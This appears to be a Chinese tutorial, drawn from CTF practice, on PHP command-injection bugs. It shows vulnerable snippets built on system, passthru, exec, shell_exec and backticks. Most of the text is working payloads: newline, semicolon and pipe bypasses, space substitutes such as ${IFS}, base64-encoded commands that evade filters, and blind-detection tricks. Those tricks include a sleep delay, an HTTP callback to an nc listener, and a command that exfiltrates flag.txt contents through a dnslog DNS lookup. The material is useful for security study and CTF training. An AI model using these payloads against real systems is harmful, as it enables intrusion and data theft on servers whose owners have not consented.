命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。
<?php
$c = $_GET['c'];
system($c);
?
c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。
和system函数类似
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
passthru($c);
?>
exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。
string exec (string command, array &output, int &return_var) command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
打印$b
的目的是获取每一行字符串。
<?php
$c = $_GET['c'];
var_dump(shell_exec($c));
?>
本身也是不可以回显需要打印。
另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。
<?php
$c = $_GET['c'];
var_dump(`$c`);
?>
例如有这样一种情况
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
$rce = "echo 123";
system($rce.$c);
?>
这里绕过方法不止一种
c=1%0awhoami 换行绕过
c=1;whoami 利用分号绕过
c=1|whoami 管道符绕过
有些时候 我们执行命令 如 cat flag.txt
中间必须要有空格才可打开此文件读到内容。但是如果空格被过滤我们就应该用一些字符来替代空格
< 可替代空格
${IFS} 可替代空格
$IFS$1 可替代空格
%09 (url传递可替代空格)
记得年底的时候貌似坐过一道命令执行相关的ctf过滤了关键字
这里题目记不太清了 简单写个思路
a=l;b=s;$a$b //大家都知道。。。
//利用base64加密解密
`echo d2hvYW1p|base64 -d` //linux下执行输出whoami命令 注意加反引号
无回显情况如何判断 命令是否执行?
延时
http请求
dns请求
例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?
管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。
如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听
nc -lv 8080
收到请求则证明存在命令执行。
请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果
你可能会问 为什么不直接flag.txt
……..
脑子不好用 把PHP写成了 txt 只是个例子 自己把它当成flag.php就好了
ping的话发送的是dns请求那么dnslog肯定是可以用的
请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下
ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格
这里将空格替换成666
`cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link
访问一下拿到了flag。